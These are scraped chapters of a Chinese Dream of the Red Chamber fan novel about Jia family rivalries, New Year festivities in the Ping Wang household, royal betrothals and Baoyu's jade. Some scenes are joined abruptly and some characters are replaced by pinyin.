林如海夫妻二人进了屋,又正式行礼拜见,贾史氏连忙叫人扶起:“都是一家子骨肉,这般多礼作甚!你们几年没回来,你们大嫂子又怀上了,二嫂子之前也又生了个女儿,之前信上也跟你们说过的,因为生在大年初一,又赶上那天正是立春,所以啊,取了个小名就叫元春,前些日子已经会说话了!”一边说着,一边将几个孩子叫了出来。 贾瑚、贾珠老老实实上前拜见姑父姑母,元春的乳母也抱着元春过来行礼。 贾敏连忙叫人拿了早就准备好的表礼分派给几个侄儿侄女,然后又看着张氏笑道:“大嫂子这一胎还在肚子里,等生下来,我这个做姑姑的就再给小侄儿补上!” 张氏笑道:“知道你是个财主,回头你要是给的不好,那我可是不依的!”她们姑嫂二人原本就处得好,这会儿多年不见,却并无多少陌生之感,依旧言笑晏晏。 林如海不方便跟张氏和王氏说话,便看着贾瑚和贾珠,笑道:“瑚哥儿和珠哥儿也都大了,读的什么书?” 贾史氏笑道:“你们大嫂子是个狠心的,可怜瑚哥儿这么大点孩子,就把他送到王府里头做伴读去了,倒是珠哥儿,府里头给请了个先生,如今已经在读《四书》了!” 贾敏有些好奇,之前遇到贾赦贾政的时候,他们可没说过贾瑚去给哪家王府做伴读了,因此便问道:“王府?是哪家王府?” 张氏在一边解释道:“是平王府,之前先平王薨了,圣上隆恩,由原本的世子嗣平王位。小王爷须得在府 里服丧,不好去弘文馆读书,因此,也是请了西席在府里启蒙。也是瑚哥儿的运道,如今平王府的太妃原是我表姐妹,给小王爷选伴读的时候就想到了我这边!” 张氏似乎将事情给说清楚了,但是贾敏和林如海都是玲珑人物,想想都觉得不对劲,再一想张家之前遭遇的事情,便觉得这里头另有内情。 林如海笑道:“倒是不知道平王府的西宾是谁?说不得我还认识呢!” 贾瑚答道:“先生姓季,别号灵溪。” “原来是他!”林如海还真认识,不由抚掌笑道,“瑚哥儿的确是好运道,这位灵溪先生虽说声名不显,学问却已经算得上是大家,之所以未能金榜题名,无非就是时运不济罢了!瑚哥儿能得他教导启蒙,乃是幸事!” 能得林如海这个探花开口称赞,便是王氏也明白,人家是个了不得的先生了,顿时心里愈发酸溜溜起来,忍不住开口说道:“可不是嘛,瑚哥儿运道好,轮到我家珠哥儿,连请个秀才都费了老大劲!” 贾史氏听得不虞,瞪了王氏一眼,王氏有些讪讪地住了口,张氏见林如海贾敏也有些尴尬,她对贾珠这个侄子也并不厌恶,因此便打了个圆场,说道:“这读书不仅看先生,也得看学生,珠哥儿从小聪明,又是个肯用功的,还怕将来不能出人头地吗?” 结果王氏只觉得是张氏站着说话不腰疼,都是一样聪明用功,那不就是谁先生好,谁就更容易出头吗?何况,哪怕王氏不乐意承认,贾瑚看起来的确稍微比贾珠伶俐一些,要不然贾代善在的时候,也不至于上哪儿都带着贾瑚,好歹得分出点精力给贾珠。 张氏也懒得多顾忌王氏的心情,她自个口无遮拦,也不想想看,贾珠就在旁边坐着呢,她这么一说,贾珠心里又怎么想! 虽说在场的人里头,有个现成的优质先生,但是谁敢逼着林如海应承教导贾珠的事情,林如海他们家庶枝不繁,想要维持门楣不落,都得落在林如海头上,他如今正是应该在仕途上用心的时候,哪里能腾得出手来教导一个蒙童?若是贾珠日后真正进了学,偶尔请林如海指点一下科举上的门道,那倒是没问题,至于专门拜师什么的,那就大可不必。 因此,哪怕是贾史氏,也没倚老卖老到这个地步,只是拉着贾敏的手叙话。 贾史氏多年不见女儿,很是想念,便想要让女儿女婿就在府里住下,便说道:“你们这一路辛苦,敏儿也多年不曾归省,她的院子一直还留着呢,前些日子接到你们要进京的书信,我就吩咐人仔细打扫了一番,你们正好可以多住一段时日,我们母女两个也能好好亲香亲香!” 贾敏倒是有些情愿,但是林如海不乐意啊!他之前就听说了贾家之前在丧礼期间的闹剧,分明有了长幼不分的迹象,这日后便是乱家之源。林如海是正统的读书人,看不惯这个,偏生他一个做女婿的,很多话也不能开口,所以,还是离远一些比较好。 另外就是,他复官的事情也已经有了眉目,过些日子就有结果,总不能以后从自个岳家去衙门吧,以后想要跟同僚交际往来都不方便。林家若是自家没宅子,还能暂且凑合一阵子,可林家在京中有宅子,原本就有人守着,又提前叫人进京收拾好了,正好可以直接搬进去,何必要在老丈人家呢! 贾史氏这个年纪,她想要做成什么事,只需要哭就行:“你这狠心的丫头,嫁出去到现在,我都三年没见过你一面了,如今想要多留你几日都不肯,我还活着做什么,不如跟着老公爷一起去了的好!” 老母亲这么一招,贾赦扛不住,贾政扛不住,贾敏同样扛不住,顾不得再跟林如海商量,赶紧就答应了下来:“母亲这话可真是折煞我了,女儿这些年来,也没有哪一日不想念母亲的!难得回来,定然要多陪母亲几日。何况您女婿以后就在京城做官了,女儿回来的次数多着呢!” 王氏在下头忍不住撇了撇嘴,她一点也不喜欢贾敏,贾敏是家里的嫡幼女,之前家里头只有几个庶女,贾史氏对于庶出的孙女尚且只当做小猫小狗一样养着,庶出的孙子更是只当做看不见,对于庶女就更别提了,压根懒得理会。等自己有了女儿,对贾敏的确是各种宠爱。 不仅如此,贾代善在的时候,对贾敏这个女儿也极为宠爱。贾家接下来两代人的灵气似乎都落到了一帮女孩子身上,贾敏远比贾赦和贾政更加聪慧,也更加敏锐,贾代善常常感慨,怎么贾敏不是个儿子,若是儿子,贾家这一代也算是有个能顶立门户的人。 国公嫡女,父母宠爱,本身又聪明伶俐,贾敏从出生到出嫁,在家享受到的待遇都是超规格的,因此,难免有些 骄纵。 王氏嫁过来的时候,贾敏还算是友好,但是很快,她就发现自己这个二嫂性情浅薄,还颇有些贪财,又是个不读书识字的,难免为自个二哥觉得委屈,当着王氏的面,贾敏不说,私底下在贾史氏乃至贾代善那里都有所表露。 贾家一帮下人,那嘴巴都跟漏勺一样,贾敏背地里头说王氏的坏话,王氏没多久就听说了,她本来就觉得贾敏不安分,在家比贾政还受宠,贾代善和贾史氏不知道给了这个女儿多少好东西,以后出嫁定然还得再陪送一笔丰厚的嫁妆,在王氏看来,要是没有贾敏,这些东西大半都能落到贾政也就是自己手里,结果贾敏不仅觉得理所当然,还在公婆那里挑拨自己和贾政的关系,简直是岂有此理。 等到贾敏出嫁的时候,十里红妆,比起王氏想象的嫁妆还要丰厚,嫁的还是出身列侯门第的新科探花,相比较起来,贾政除了有个国公公子的名头,那真的是一无是处。 总之,对于王氏来说,贾敏这个小姑子简直是个讨厌鬼,原本远远嫁出去也就算了,结果如今居然又回来了,还要在府里住一段时间,也就是说,她除了日常伺候婆婆,还得伺候出嫁的小姑子,反倒是张氏,因为怀着孩子,一应请安伺候之事都免了。 只是王氏也知道自己拙嘴笨舌,尽管不乐意贾敏留下来,还是坐在那里闷不吭声。 贾史氏听得贾敏答应多住几日,当下转忧为喜,拉着贾敏就说道:“一家子骨肉,正该如此呢!你也说了,就算是回了林家,也得记着多回来看我,可别就知道说好听的糊弄我!” 贾敏笑道:“就怕我回头三五不时地回来一趟,母亲见多了,就厌了我了!” “你这狠心的丫头,说这等话,那不是剜我老婆子的心嘛!”贾史氏嗔道,“我啊,巴不得你长长久久留在家里呢!” 林如海在一边有些尴尬,好在自家夫人心中有数,只说是多住几日,要不然的话,搞得自己跟上门女婿一样。 家里没个成年的男丁在,林如海在内宅待得也不舒服,贾史氏瞧着女婿不是很自在,也善解人意,只说女婿累了,让他先去休息片刻,等用饭的时候再来,她这边留女儿说一会儿话,连同张氏和王氏乃至几个孙辈也一并打发回去了。 张氏原本就已经有些疲累,听得 徒嘉泽一冷,忙说道“不是我自己戴,是送给姐姐和妹妹的!”

白芍听了倒是没说什么,红药正在给徒嘉泽换衣服,忍不住就说道“两位姑娘倒是常给小王爷做些针线,咱们这儿从来不见半点针头线脑的,倒是肯要二爷的东西!”她其实也不知道徒嘉钰有没有收到几样佳婉佳姝的针线,但是架不住她心里真这么想。

徒嘉泽皱眉说道“这说的什么话,两位姑娘又不是专门做针线的,而且,我这儿难道还缺这些东西吗?”

红药听了,还是壮着胆子强辩道“奴婢就是为二爷不平罢了!”

徒嘉泽冷笑一声“看样子红药姑娘倒是能替我做主了,可惜啊,我这边不需要这么有主意的,回头给你找个好的,你嫁过去该如何不平就如何不平!”

红药吓坏了,扑通一声跪了下来“二爷,奴婢不是这个意思!”

徒嘉泽可不是什么好脾气的人,他直接叫了雪柳过来给他换衣服,根本懒得理会红药。

白芍这会儿已经将熏香球找了出来,因为知道是送给佳婉佳姝的,还各自用了一个络子装好。

徒嘉泽这会儿衣服也换好了,又将头发重新篦了一遍,这才将两个熏香球往袖子里一揣,嘴里说道“你们留在院子里吧,一会儿也叫厨房送个席面过来,也叫你们安安生生过个年!”

雪柳看着徒嘉泽要出门,又赶紧接了绿柳才拿过来的一个大红洒金斗篷,给徒嘉泽系上,却不敢问红药该怎么办。

徒嘉泽快步离去,白芍见红药还跪在那里,忙拉着她起来“人都走了,你跪给谁看!”

红药也有些委屈“我说的又哪里错了!府里两个姑娘素来只亲近正院那边,何曾将咱们二爷放在眼里了!二爷拿她们当姐妹,有什么好东西都巴巴地送过去,人家拿了,还要当咱们二爷做冤大头呢!”

雪柳斥道“你这又是什么话,姑娘们又不是针线上人,她们一年到头做多少针线,愿意给谁就给谁,二爷自个都不说什么,你倒是先来打抱不平了!我看你倒真是心大了,主子们的事情,也轮得到你开口吗?要我说,白芍姐姐也不该扶了你起来,你还是老老实实跪着,想想自己到底做错了什么!”

说着,雪柳转身就走。

白芍见红药色厉内荏的模样,也是叹气,不过还是劝道“你啊,有什么话不能私底下找个别的时机说吗?这如今大过年的,惹了二爷不痛快,何苦来哉!你先歇着吧,回头我们一起帮你跟二爷求情!”

红药听得愈发慌了起来,忍不住流下泪来,嘴里却还要硬犟“还求什么情,他要打发我出去,出去便是了!没得叫你们也跟着我没了脸面!”

绿梅素来是个不喜欢多话的,这会儿听红药这般,也忍不住说道“你啊,便是心直口快,也不该说这些!我先去打盆水给你洗个脸,你也先歇一会儿,一会儿咱们再琢磨琢磨!”

红药抹着泪,谢了几个姐妹一回,心里头依旧是心烦意乱。

徒嘉泽虽说训斥了红药一番,但心里也有些不自在,他不是什么心细如发的人,也不知道佳婉佳姝有没有给徒嘉钰做什么针线,但心里难免就有根刺,琢磨着是不是佳婉佳姝觉得自己不是娘娘生的,所以心里头瞧不上他,不将他当正经兄弟。

结果等他到了正院

,就看到徒嘉钰和末儿正围在佳婉佳姝那里,他有些纳闷,就看到佳婉抬起头来,对他招了招手,笑道“就等你呢,快来!( 徒嘉泽有些懵逼,走过去一看,就看到一个托盘上头摆着几个荷包香袋扇袋之类的。 佳婉笑道“我们姐妹两个都是懒人,一年到头橫针不动竖针不拈的,一年下来就做了这几件东西,孝敬娘娘是不够了,正好给你们几个分一下,回头出去,也别说什么身上连个姐妹的针线都没有!” 徒嘉泽心中不由一松,笑道“那我可得好好挑一挑,要是不好看,我可不戴,没得被人笑话!” 佳姝气恼道“不喜欢那你就别选了!我们就这个手艺,你想要好的,找别人做去!” 徒嘉泽也就是嘴贱了一把,被佳婉这么一说,赶紧赔罪道“哎呦,是我不会说话,该打嘴!”说着,连忙将袖子里揣着的熏香球双手奉上“还望姐姐和妹妹原谅则个!” 佳婉顺手拿过来,与佳姝一人一个,嘴里道“行,暂且原谅你了!下次再胡咧咧,便是送给你了,我们也抢回来!” 徒嘉泽又是陪笑了一阵,这才凑到那边看托盘上的东西。 姐妹两个果然得了偷懒之道,这几样针线主要就是珠绣,用的是珍珠玻璃宝石之类作为点缀,图案也比较简单,好在并不俗气。兄弟三人也没争执,各自挑了几样。 徒嘉泽立马就将腰间的一个荷包给取了下来,换做了一个新的珠绣福字荷包,笑嘻嘻说道“这个寓意好,这几天我就戴这个了!” 徒嘉钰跟末儿也各自选了一个戴了起来,顾晓在一边看着,又对佳婉佳姝说道“你们做的这些都叫他们几个分了,别自己都没得用了!”说着,便叫人也拿了几个新荷包过来,给了姐妹两个“这是今年的新花样,你们拿去戴着玩吧!” 佳婉佳姝笑嘻嘻说道“谢娘娘赏赐,可是我们占了便宜了!” 徒嘉钰笑道“妹妹这话说的,妹妹一番心意,那是千金难得,怎么叫做占了便宜,是我们占了便宜才是!” 徒嘉泽这会儿已经心平气和起来,决定回去就将红药撵出去,嘴上却是说道“你们要是觉得占了便宜,不如回头再给我们做几个,不拘什么样式,便是个普通荷包也行啊!” 佳姝下巴一抬,撇了撇嘴“你倒是想得美,你身边那么多丫头,哪个给你做荷包不行,非得我们姐妹做的!我们一年就这么多针线,且等着吧!” 徒嘉泽故意耍宝“可怜啊,咱们几个能得荷包的时日也不多了,等着你们两个定了亲,只怕这些都不知道得落到哪个人手里取了!” 佳婉年纪大一点,已经有了点想法,这会儿脸一红,不由一跺脚,看向了顾晓“娘娘,你看他!” 顾晓被几个小儿女逗得一乐,忙道“是泽儿不好,快给你姐姐道歉!” 徒嘉泽只得低头赔礼,但是嘴里说的话也不是很中听“是弟弟说得不好,姐姐尽管留在家里,不用出嫁,大家一辈子生活在一起,岂不是好?” 佳婉脸都羞红了,直接捏了帕子,就丢到徒嘉泽脸上“你就胡说吧!” 顾晓听着他们这样言语,竟是悚然一惊,佳婉再有个一两年,似乎真的就要开始议亲了,难不成,明年开始,就要带着佳婉出去见客了不成? 顾晓一边心中暗自诅咒封建社会对于少年男女的璀璨,一边琢磨着是不是可以拖一拖,先相看,不要着急定下来,晚一点出嫁,也免得过早产育 ,带来风险。 一边周氏她们几个偷眼看着顾晓,只见顾晓神情并无变化,心里也开始忖度顾晓是个什么想法,只是嘴上也不敢说,毕竟,她们便是养着两个姑娘,其实也没资格在这种事情上多嘴。 顾晓只是笑道“兄弟姐妹们顽笑可以,不过可别伤了和气!知道的说你舍不得姐妹们,不知道的,还当你就是要捉弄人呢!” 徒嘉泽也是个能屈能伸的,又给姐妹二人赔了礼,然后笑嘻嘻地在徒嘉钰和末儿中间坐下,瞧着末儿还拿了个小绣球逗弄白白和花花,又凑过去招惹。 “真个孽障!”李氏忍不住说道,“浑然没一时消停的,整日价招猫逗狗,也亏得生在咱们府里,换做是其他人家,岂不是三天两头要挨板子?” 顾晓笑道“泽儿天真烂漫,男孩子顽皮一些也是常事,他又不是那等顽劣之人,何苦拘了他的天性!等再有几年,自然也就懂事了!” 李氏嘴上说自家儿子是孽障,心里头却不会这么想,如今听顾晓这么说,不免也有些喜欢,嘴里还要谦虚“姐姐过誉了,他啊,这辈子性子是怕是改不得了!” 说了一会子话,便有人过来,说是该去祠堂祭祀了! 第 147 章 哥儿嘴里衔了一块... 《红楼太妃要躺平》全本免费阅读 顾晓算是见识到了,麻蛋,感觉后世的编剧比这年头还封建! 这一版的白娘子使了个替身法代替自己被压在了雷峰塔下,然后带着孩子直接跟优柔寡断的许宣恩断义绝了! 末儿听了直接跳起来叫好:“就该如此才对,那许宣便是前世与那白娘子有什么救命之恩,也配不上白娘子!” 佳婉和佳姝也是两眼发光,双手交握,却不知道该说什么好! 顾晓先叫人拿了荷包赏了两个女先儿,又赏了她们一桌席面,叫她们下去吃喝休息,然后才对佳婉和佳姝说道:“白娘子这般才是对的,你们以后也该如此,什么三从四德的,哄哄别人也就罢了,别真的当真!你们是宗女,天家血脉,论起来,你们才是君呢!要是真受了什么委屈,可别ren着,尽管回来,家里自然会与你们做主!” 两个女孩子一边点头受教,一边扭着帕子做羞怯状。 周氏她们也是喜出望外:“还是娘娘疼孩子!” 顾晓摆了摆手,说道:“两个丫头跟咱们不一样,她们姓徒,这就比我们幸运多了!” 她这话一说,其他人都点了点头,是啊,终究是天家血脉,嫁出去之后,谁敢随意怠慢呢? 佳婉和佳姝听着长辈们说起自己的婚事,都红着脸不敢说话,佳姝好半天才说道:“长幼有序,总得大哥那边先订亲才行!” 李氏调笑道:“好好,只盼着二姑娘以后不要着急才是!” “侧娘娘!”佳姝脸越发红了起来,要不是这会儿大家还在守岁,都想跑路了! 顾晓忙说道:“哎呀,女孩子家家的,面皮薄,不要跟她们开玩笑!这会儿也不早了,你们几个孩子一块去放烟花吧,我们在这边看着,等过了子正,大家喝上一盏合欢汤,也该回去歇着了!” 明儿个他们还要进宫朝贺,所以,还真不能熬个通宵,免得在朝贺的时候露出疲态,甚至是打瞌睡什么的,一个不好,就是君前失仪。 末儿之前听故事听得专心,差点将这事给忘了,这会儿一听顾晓这般说,顿时来了精神,忙拉着徒嘉钰和徒嘉泽:“走,快去放烟花!” 见佳婉和佳姝这会儿还有些不自在,顾晓便说道:“你们也去吧,不过得小心着些,别叫烟火燎着了!” 佳 婉和佳姝松了口气,忙起身行了一礼,便跟着几个男孩子一块儿出门,往花园里头去了。 “咱们也到廊下看着吧!”顾晓叮嘱随行的人盯着点他们,又叫花园里头人注意一些,别走了水,又说道。 这年头的烟花种类也很多,当然,价钱也很美丽就是了! 王府不比宫里,有比较大的开阔地带,因此,准备的都是相对小型的烟花,最大的是一个组合烟花架,主题是八仙过海,直接放在结冰的湖面上,观看的时候用挑杆点燃,减少走水的可能。 “还是娘娘在家好,往年却是没这么热闹!”何氏看着飞上天空在火光中盘旋飞舞的游龙仙人,有些兴奋地说道。 “这我可做不得主!”顾晓笑道,“不过,你们在家守岁,自个放些烟花也是无妨,只要拣了空旷的地方,叫人守着些便是了!” 几个人看着点头,心里头却是不置可否,顾晓能使唤得动府里上上下下的下人,她们这些人,能使唤几个,到时候没得惹埋怨。 这会儿也不仅是平王府在放烟花,附近的天空中已经升腾起了许多焰火,还有此起彼伏的尖啸声,甚至皇宫方向,也有硕大的烟花在空中爆开。 顾晓只略扫了一眼,琢磨着宫里这会儿估计也在守岁,不过圣上这身体也是大不如前了,要不然的话,以他喜欢热闹的性子,只怕还是愿意在宫中设宴,彻夜狂欢的。 许多人心里都存着这样的想法,一些人忧心忡忡,另一些人却是蠢蠢欲动起来!只是等到第二天入朝朝贺的时候,大家又看到圣上面色红润,中气十足,一些人原本心中的打算又直接被掐灭了! 毕竟,圣上积威甚重,大家真不敢在他年富力强的时候,就跟他对着干!至于说从龙什么的,还是等等再说! 而后宫之中,甄贵妃看起来却是一副春风得意的模样,但是一边瑜妃也没显得有多失落,顾晓偷眼看了一下,发现瑜妃似乎心情还挺愉快,也不知道是不是也得了什么好消息。 不过,顾晓也就是私底下胡乱猜测一下而已,倒是雍王妃消息灵通,见顾晓多看了瑜妃一眼,便低声说道:“听闻顺亲王的婚事定下了,难怪瑜妃娘娘高兴!” 顾晓好奇地问道:“不知定的是谁家的闺秀?” 雍王妃用衣袖挡着嘴 ,压低了声音说道:“听说是东平郡王府的乐安县主!” 顾晓不由瞪大了眼睛,那位可是东平郡王妃的心肝宝贝,人家愿意嫁给徒宏轩? 雍王妃也不知道里面内情,只是说道:“具体如何,我也不清楚,但这婚事的确已经定下来了!” “难怪瑜妃娘娘这么高兴呢!这样的出身,在一众亲王妃里头,那真是绝无仅有了!”顾晓也有些惊叹。 雍王妃也是点头:“是啊,咱们这位弟妹,可比咱们强多了!” “那纯王的婚事?”顾晓ren不住心中好奇,又轻声问道。 “似乎也定下来了,是镇国公府的姑娘!”雍王妃轻声说道。 顾晓点了点头,心里知道,这个婚事大概也是勋贵阶层的另一个尝试罢了!勋贵总归是要跟皇家绑定的,没有皇帝的信任,勋贵也只能是一代代衰落下去!看样子,不少人觉得徒宏憬赢面很大啊!也不知道真的尘埃落定的时候,大家会不会气死! 雍王妃轻叹一声:“都是高门贵女,还不知道之后会是什么样子呢!” 镇国公府的姑娘雍王妃没什么印象,东平郡王府那位乐安县主却不是什么省油的灯,在京中贵女圈子里颇有些名声,倒不是什么才名,而是听说性子有些骄横,说难听点是跋扈。这样的女子嫁入皇家,到底是福是祸,也说不好! 顾晓随口说道:“那与咱们有多大干系,好相处那就正常往来,不好相处的话,面子上过得去就行!” 雍王妃点了点头:“弟妹说的是!” 宫宴上也没出什么意外,与往年一样,升平署表演了几出喜庆的剧目,大家热热闹闹吃了一顿,也便各自回去。 倒是两个未来亲王妃的事情,很快就传得沸沸扬扬。 镇国公府默不吭声地就上了纯王府的船,不免叫不少人觉得受到了背叛。之前荣国府跟甄家勾勾搭搭,好歹还顶着个老亲的名头,如今镇国公府也没跟其他人家打个招呼,连王妃的名头都捞着了,不免叫许多人心里不自在起来。 至于东平王府,反倒是没受什么影响。乐安县主的婚事原本就有些高不成低不就,她因着是郡王妃的独女,自幼娇宠,性情颇为骄纵,她这样的身份和性情,婚事上头就有些为难之处。有点心气的人家,是招惹不 起这尊大佛的,那等攀附权贵之辈,王府又看不上,因此,大家都是嘴上县主千好万好,但一说求娶的事情,就都成了锯嘴的葫芦,一声不吭。 如今皇家肯接这个烫手山芋,东平郡王府简直是感激涕零,里子面子算是都保住了。徒宏轩是亲王,他这个身体,即便是徒宏憬当了皇帝,也不能亏待了他,要不然就显得他心胸狭窄,连身体不好的兄弟都不放过!乐安县主可以说直接就能白捡一个亲王妃的身份,这可比做个空头县主强多了!尤其,大家都知道徒宏轩身体不好,日后若是子嗣上头艰难,那也是徒宏轩的问题,怪不得乐安县主头上。至于说乐安县主会不会因为脾气不好跟徒宏轩产生什么冲突,那也是以后的事情。起码嫁给皇室,乐安县主还得收敛一点,要是嫁到寻常人家,那大家就都知道东平郡王府出了个母老虎了! 瑜妃答应这桩婚事其实也有这个缘故,徒宏轩因为之前的事情,性情有些阴郁,乐安县主便是性情有些骄纵,却也是个颇为开朗的女子,只盼着她能叫徒宏轩性情也能跟着开阔起来,总不能一直沉浸在过去。 刚出了正月,赐婚的旨意就下给了两府。 大概是担心夜长梦多,钦天监给出的吉日也都在今年年内,徒宏轩身体不好,便选在了中秋之后,这会儿不冷不热,便是婚礼比较盛大,也不会太辛苦。而徒宏憬是弟弟,就选了十一月的一个吉日。 而对于宗室来说,这紧接着的两桩婚事,就意味着得出两份礼。尤其是东平郡王府,虽说没尚过公主,也是娶过郡主的,因此,跟各家宗室也算是实在亲戚,既是如此,乐安县主出嫁,各家还得出一份添妆。好在都在下半年,还有足够的时间准备。 而与此同时,今年大选取消的消息,也放出来了。 大多数人对此都不放在心上,而对于贾家来说,这就是晴天霹雳。 贾元春如今正是豆蔻年华,原本按照贾家的想法,她参加大选,然后甄贵妃以生母的名义赐给徒宏憬做侧妃,说不定比牛家姑娘先进王府,占据一份先机。便是一前一后,相差也不会太远。到时候谁先生下长子,谁就能占便宜。 至于说牛家姑娘比贾元春更讨徒宏憬喜欢这种事情,她们是想不到的,毕竟,她们都觉得元春生得珠圆玉润,又生在大年初一,命格高贵 ,哪有不讨人喜欢的道理呢? 结果如今大选取消,贾元春想要通过这个长辈赐婚的手段,进入王府就走不通了!而如果贾家主动献女,就撕开了表面上那张遮羞布,一方面显得谄媚,另一方面也是彻底得罪了牛家! 王氏听说消息,挺着个大肚子,急得不行:“老太太,这可如何是好?” 贾史氏看着王氏那样子,不免有些烦躁,呵斥道:“急什么,天塌不下来!” 见王氏还是一副六神无主的模样,贾史氏愈发不满起来,这个不满不仅是因为王氏撑不住事,而是贾政目前几个孩子都是王氏所出,显得嫉妒。以前大房也是一样,两个儿子都是张氏生的,结果去年的时候,大房一个姬妾生了一个女儿,被张氏养在了膝下,这就显得张氏颇有大家主母的风范,对比起来,王氏就不够贤惠。 不过,贾史氏自个其实对庶出的孙辈也没什么想法,大房生了个女儿,贾史氏还想要顺着元春给那个孩子取个乳名叫迎春,直接就被贾赦给否了,自家女儿又不是生在春天,叫什么迎春,俗得紧!何况哪有大房跟着二房的孩子取名的道理,家里又没说她们这一辈的女孩子就从一个春字,所以,还是大房自个取名为好。 贾史氏如今都已经习惯了,贾赦横竖什么事都要跟她唱反调,就没个顺她心意的时候,不过就是个孙女的名字而已,贾史氏想要计较也计较不起来。但是她受了气,自然得发泄出来,王氏就是个很好的出气筒。 因此,贾史氏便说道:“我知道你着急,但是这事又不是没有转机,大不了求了贵妃娘娘直接赐婚就是了!只是,这事总得等到纯王爷大婚之后才行,要不然,可就坏了事了!好在元春还小,再留两年也没什么,大一点,嫁过去也正好!” 王氏听贾史氏这般说,也是松了口气,忙说道:“还是老太太您想得周全,是媳妇慌了神,糊涂了!” 贾史氏冷哼一声:“你不一直是个糊涂人吗?之前瞧你将赵家那丫头弄进府里,还当你聪明了,如今看起来,还是糊涂!你如今有了身子,便是生下来,也这个年纪了,难道还去跟人家年轻姑娘家争风不成!你这个孩子生下来,膝下也有三个了,总不能还叫男人围着你转!赵家那丫头你也笼络住了,干脆就施恩到底,叫她做了姨娘,她到底是家生子出 身,难道还能如何?你也好挣个贤名,免得元春以后也叫人说嘴!” 王氏被说得面红耳赤,只得低头说道:“老太太说的是,儿媳妇以前就想过这事,只是如今怀着孩子,精神短了,记性也不好,竟是将这事给忘了!回头儿媳妇就摆了酒,将那丫头提了姨娘,好伺候老爷去!还有个丫头之前也服侍过老爷,这次干脆一并提上来,免得赵姨娘哪日不方便,老爷连个伺候的人也没有!” 王氏说的那个是之前她给贾政安排的,姓周,年纪比前一个赵姨娘还大几岁,素来沉默寡言,长得也不够俏丽,在贾政心里几乎就没留下任何印象。如今她非要把人提起来,存了点制衡的心思。可惜的是,这位周姨娘本身就不得宠,又不是什么会争强好胜的,指望她跟赵姨娘斗起来,还不如指望王氏自己呢! 贾史氏也懒得理会王氏那点小心机,这人精明的时候,的确有几分精明,但是犯蠢的时候,那 第 148 章 清虚观祈福 贾家这边不知道的是,当天晚上,那块被挂在刚出生小婴儿摇床上的宝玉就被送到了皇宫,道录司、僧录司还有京中能找的来的高僧高道,都围观了一遍,最后得出来的结论是,此物非凡间之物,但要说用途……嗯,一帮“大师”用尽了各种手段开光,也没叫这宝玉显出什么神异来,只得表示,既然是贾家那个孩子胎里带下来的,应该就是前世随身的宝物,宝物有灵,非其主不得使用。 圣上难免问起,若那孩子真是什么有来历的,这下凡是为了什么呢? 这对于这些僧道来说就很对口了,他们很快就举了许多例子,什么吕洞宾啊,济公啊,都是神仙下凡历劫,最终还是要回到天上去的,不会影响人间。 圣上再一看那宝玉,便也没什么想法了,这玩意既然不能起到什么趋吉避凶,延年益寿的作用,那对自己来说,就是个石头,还不如还给原主,也算是留一份香火情! 至于那个投胎到贾家的神仙,究竟是来历什么劫的,这些僧道也说不清楚,横竖多半不是什么刀兵之劫,要不然的话,他带这块宝玉下来有什么用,多半还是情劫之类。 这么一想,圣上愈发觉得没意思起来,当下叫人悄悄将宝玉还回去,但还是叫人私底下关注那孩子的情况,瞧瞧这位的秉性如何,才好知道这位到底会不会对江山社稷有害。 贾家对此丝毫不知,贾史氏先给这孩子取了个乳名叫做“宝玉”,又怕折了他的福气,叫人将名字写了张贴在外头,叫贩夫走卒也来念。 王氏生下这么个有大造化的孩子,在贾史氏那里边也有了许多脸面,只是,贾政却是个读书读迂了的,并不觉得有这块宝玉是什么好事,他只觉事情有异便是妖,只是那孩子刚生下来没两日,就褪去了胎脂,看起来白白嫩嫩,很是乖巧可爱,便是铁石心肠的人看了也ren不住要生出几分怜爱来。 反正原本贾史氏想着叫王氏养着小儿子,看了之后也舍不得了,只说王氏这个年纪产育辛苦,便将这孙儿又抱到了荣庆堂。 只将王氏气得半死,第三次了!贾珠生下来,就养在贾史氏身边,元春也是如此,轮到这个孩子,又来一次!王氏哪里心甘! 只是她也没别的办法,长辈愿意帮你抚养孩子,那是长辈的一片慈心,你要是否决,那就是不孝!她便是有娘家撑腰,这事也是说不过去的,何况她还没有娘家给她撑腰,最终也只能是ren了下来。只盼着这孩子知道自己这个亲娘的辛苦无奈,能够多多体谅自己。 贾家自家没将事情藏着掖着,自然没多久,整个京城都知道了这事。 这会儿已经是暮春时节,天气渐渐炎热起来,池子里竟是已经生出了一些嫩藕,顾晓叫人采了一些嫩藕上来,直接去了皮,切片生吃,便是脆爽甘甜。 因为这玩意放不住,顾晓便给隆安侯府还有隔壁雍王府都送了一些,雍王妃原本想着叫人送一筐樱桃算是回礼,结果想到贾家之事,不免起了点八卦之心,便带着小女儿一起来平王府跟顾晓说话。 雍王他们两口子疼爱女儿,因此这孩子直接随了兄弟的字辈,叫做嘉妍,她也生得好,与雍王有七分相似,在家可比徒嘉珩得宠多了,好在虽说有些娇气,却依旧是个可爱的小姑娘。 嘉妍跟着雍王妃过来,奶声奶气地跟顾晓打招呼“七婶婶好!” “嘉妍你也好!”顾晓笑眯眯说道,又叫人拿了一对猫爪响铃镯过来,给嘉妍戴着玩。 嘉妍跟顾晓也熟悉,因此 将镯子收下, 直接戴到了手上,又对顾晓道谢“谢谢婶婶!” 雍王妃笑道“你也别老是给她东西,这么多年,尽是占你便宜了!” 顾晓笑道“嘉妍是我亲侄女,给亲侄女的东西,算什么便宜!” 雍王妃也不跟顾晓多客气,笑道“之前吃了你们家的藕,我也叫人到池子里挖了些,但是口感终究不如你家的好!” 顾晓解释道“大概是品种不同,我这边池子里种的莲花是专门从江南那边找来的品种,老藕不够粉糯,但是嫩藕却是脆甜!” 雍王妃点了点头“我也猜是这个缘故!我们家池子里的藕去年冬天也挖过一回,炖汤倒是挺好,回头也给你送一些过来!” 顾晓笑道“那我可就等着了!嫂子可别忘了才好!” “忘了谁也不能忘了你这个财神啊!”雍王府这两年跟着顾晓可是挣了不少钱,雍王妃都有些心虚,毕竟,他们家就一开始投了一笔本钱,之后便什么都没干过,结果年年都有不菲的进账,委实叫人觉得手软,因此,府里凡是有什么新鲜东西,也从来少不得平王府一份,这会儿雍王妃便叫人将那筐樱桃提了过来,说道,“正巧庄子上新送了一茬樱桃过来,知道你素来喜欢吃这些新鲜果子,便带了过来也给你尝尝!” 顾晓忙说道“那我可就不客气了,正想着这一口呢!”说着,忙叫人拿下去洗几盘子过来。这些樱桃皮薄肉嫩,只要成熟了,不早点吃完,很快也就吃不得了,所以,只能是抓紧时间做果酱或者是罐头果脯。 不多久,便有人拿了缠丝玛瑙的碟子盛着新鲜的樱桃送了过来,一起送过来的还有装在高足定窑杯里的樱桃酪还有樱桃果茶。 